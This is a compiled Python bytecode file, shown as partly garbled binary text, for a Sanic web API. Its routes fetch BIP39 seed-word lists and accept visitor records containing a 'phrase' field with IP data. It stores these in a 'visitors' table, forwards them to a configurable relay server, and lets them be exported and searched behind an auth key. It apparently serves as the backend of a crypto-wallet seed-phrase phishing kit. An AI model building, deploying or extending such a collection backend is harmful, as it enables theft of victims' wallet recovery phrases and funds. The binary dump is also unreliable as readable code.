o
    /&h6                     @   sn   d dl mZmZmZ d dlmZ d dlmZ d dlZd dl	Z	d dl
Z
d dlmZ d dlmZ G dd dZdS )	    )Sanicrequestresponse)TranslationService)DatabaseManagerN)Unauthorized)datetimec                   @   s&   e Zd ZdedefddZdd ZdS )APIappdbc                 C   s$   t  | _|| _|| _d | _d | _d S N)r   
translatorr
   r   access_tokenserverip)selfr
   r    r   '/var/www/html/server/api/api_service.py__init__   s
   
zAPI.__init__c           
         sP   j ddtjf fdd} j jddgddtjf fdd	} j jd
dgddtjf fdd} j jddgddtjfdd} j jddgddtjf fdd} j jddgddtjf fdd} j jddgddtjf fdd} j jddgddtjf fdd} j jddgddtjf fdd}	d S ) Nr   c                    s   j r js* jjdddidI d H }|r|d d nd  _ |r'|d d nd  _| jdr5| jd	kr7d S | jd
}|rg|drgzt	|
dd d}| j krZW d S W n tyf   tdw | jd}|sstd jjdd|idI d H }|r|d d stdd S )Nconfigid   
table_name	conditionr   auth_keycallbackz/api/api/generate_keyAuthorizationBasic  utf-8Invalid authorization headerz	X-API-KeyzAPI key requiredapi_keysapi_keyactivezInvalid or inactive API key)r   r   r   get_rowspath
startswithheadersgetbase64	b64decodesplitdecode	Exceptionr   )r   resultauth_headertokenr#   r   r   r   authenticate   s<   
z)API.register_routes.<locals>.authenticater   POST)methodsreqc                    s   | j }|r
d|vrtj dddddS |d }|s$tj dddddS  jjd|d	d
dI d H }|r@t |d d ddS td} jjd||d	ddI d H }|s`tj dddddS t d|iS )NipFz#IP address required in request bodysuccesserror  statuszIP address cannot be emptyr"   T)r7   r$   r   r   r#   z*API key already exists for this IP address)r#   message    )r#   r7   r$   )r   datazFailed to generate API key  )jsonr   r   r%   secretstoken_urlsafeupsert)r6   r@   r7   existing_keysr#   r9   r2   r   r   generate_api_key6   s:   

z-API.register_routes.<locals>.generate_api_keyz/api/translatec              
      s   z0| j }|d}|dd}t|tr  j||I d H }n
 j||I d H }t d|iW S  tyO } ztj dt	|dddW  Y d }~S d }~ww )	Ntexttarget_langestranslated_textFr8   rA   r<   )
rB   r)   
isinstancelistr   translate_list	translater   r.   str)r6   r@   rH   rI   rK   er2   r   r   rO   Z   s   

$z&API.register_routes.<locals>.translatez
/api/bip39GETc              
      s   zO| j dd}d| d}t 4 I d H }||I d H }W d   I d H  n1 I d H s0w   Y  |jdkrBt| W S tjdd| dd	d
dW S  tyn } ztjdt|d	ddW  Y d }~S d }~ww )NlangenglishzGhttps://raw.githubusercontent.com/bitcoinjs/bip39/master/src/wordlists/z.json   FzFailed to fetch wordlist for ''r8     r<   rA   )	argsr)   httpxAsyncClientstatus_coder   rB   r.   rP   )r6   rS   urlclientresrQ   r   r   r   bip39j   s   (
$z"API.register_routes.<locals>.bip39z	/api/sendc              
      s  z&| j }| j}| jd}| d| }|d}|dd }|dd }|dd }|dd}	|r7|sXg }
|s@|
d |sG|
d tj d	d
d|
 dddW S |dd }|sktj d	ddddW S dd }t|tstj d	ddddW S dg t	 fdd|
 D }d}|r fdd| D }||d< | |d< jjd||dI d H }|dr|dd}t 4 I d H T}|jdj d ||||	|d!d"I d H }|jd#krd	}td$|j d%|j  |rt dd&d'W  d   I d H  W S tj d	d(dd)dW  d   I d H  W S 1 I d H s!w   Y  W d S  tyG } ztj d	t|dd)dW  Y d }~S d }~ww )*Nhostz://queryr   r7   actionseverityLowFMissing , r8   r;   r<   incomingzMissing incoming datac                  S   s   t  } | dS )Nz%Y-%m-%d %H:%M:%S)r   nowstrftime)rh   r   r   r   get_sql_timestamp   s   
z<API.register_routes.<locals>.post.<locals>.get_sql_timestampz"Incoming data must be a dictionaryphrasec                 3   s    | ]}| v V  qd S r   r   ).0kupdate_keysr   r   	<genexpr>   s    z4API.register_routes.<locals>.post.<locals>.<genexpr>Tc                    s   i | ]\}}| v r||qS r   r   )rl   rm   vrn   r   r   
<dictcomp>   s    z5API.register_routes.<locals>.post.<locals>.<dictcomp>
updated_atvisitorsr   r@   r   z	127.0.0.1	localhostzhttp://z/post)senderrg   rb   rc   r7   )rB   rU   zError: z - zData received successfully.r9   r>   zFailed to read data.rA   )rB   schemer(   r)   appendr   joinrL   dictanykeysitemsr   rE   __contains__replacerY   rZ   postr   r[   printrH   r.   rP   )r6   r@   protocolr`   rw   ra   r   r7   rb   rc   missing_fieldsrg   rj   should_updater9   sql_datar]   r   rQ   r2   rn   r   r   {   sh   


"


*
	6$z!API.register_routes.<locals>.postz/api/getc              
      s   z>| j }|dd }|dd }|stj dddddW S  jjd||d	I d H }|r5t d
|dW S tj dddddW S  ty] } ztj dt|dddW  Y d }~S d }~ww )Nr   limitFMissing conditionr8   r;   r<   rt   )r   r   r   Tr9   r@   No rows foundrW   rA   )rB   r)   r   r   r%   r.   rP   )r6   r@   r   r   r/   rQ   r2   r   r   r)      s&   $z API.register_routes.<locals>.getz/api/exportc              
      s   zU| j d}|r|dstdzt|dd d}| jkr*tdW n t	y6   tdw  j
jdd	I d H }|rLtd
|dW S tjdddddW S  t	yt } ztjdt|dddW  Y d }~S d }~ww )Nr   r   Missing authorization headerr   r   r    r!   rt   )r   Tr   Fr   r8   rW   r<   rA   )r(   r)   r'   r   r*   r+   r,   r-   r   r.   r   r%   r   rB   rP   )r6   r0   r1   r/   rQ   r2   r   r   export   s.   
$z#API.register_routes.<locals>.exportz/api/searchc              
      s  zl| j }|dd }|stj dddddW S | jd}|r%|ds)td	zt|d
d 	d}| j
kr@tdW n tyL   tdw  jjd|dI d H }|rct d|dW S tj dddddW S  ty } ztj dt|dddW  Y d }~S d }~ww )Nra   Fr   r8   r;   r<   r   r   r   r   r   r    r!   rt   )r   search_valueTr   r   rW   rA   )rB   r)   r   r(   r'   r   r*   r+   r,   r-   r   r.   r   search_tablerP   )r6   r@   ra   r0   r1   r/   rQ   r2   r   r   search   s8   
$z#API.register_routes.<locals>.searchz/api/configc           	   
      s  z| j }|stj dddddW S | jd}|r|ds#tdzt|d	d
 	d}| j
kr:tdW n tyF   tdw |d}|d}|d u sY|d u r~g }|d u rd|d |d u rm|d tj ddd| dddW S  jjd||idd
idI d H }|stj dddddW S |dkr| _n|dkr| _
t dddW S  ty } ztj dt|dddW  Y d }~S d }~ww )NFzData required in request bodyr8   r;   r<   r   r   r   r   r   r    r!   keyvaluere   rf   r   r   ru   zFailed to update configrA   r   r   TzConfig updated successfullyrx   )rB   r   r(   r)   r'   r   r*   r+   r,   r-   r   r.   rz   r{   r   rE   r   rP   )	r6   r@   r0   r1   r   r   r   r9   rQ   r2   r   r   r     sT   




"$z#API.register_routes.<locals>.config)r
   
middlewarer   Requestroute)
r   r3   rG   rO   r_   r   r)   r   r   r   r   r2   r   register_routes   s$   
"#>zAPI.register_routesN)__name__
__module____qualname__r   r   r   r   r   r   r   r   r	   
   s    r	   )sanicr   r   r   api.api_translater   database.handlerr   rY   rC   r*   sanic.exceptionsr   r   r	   r   r   r   r   <module>   s    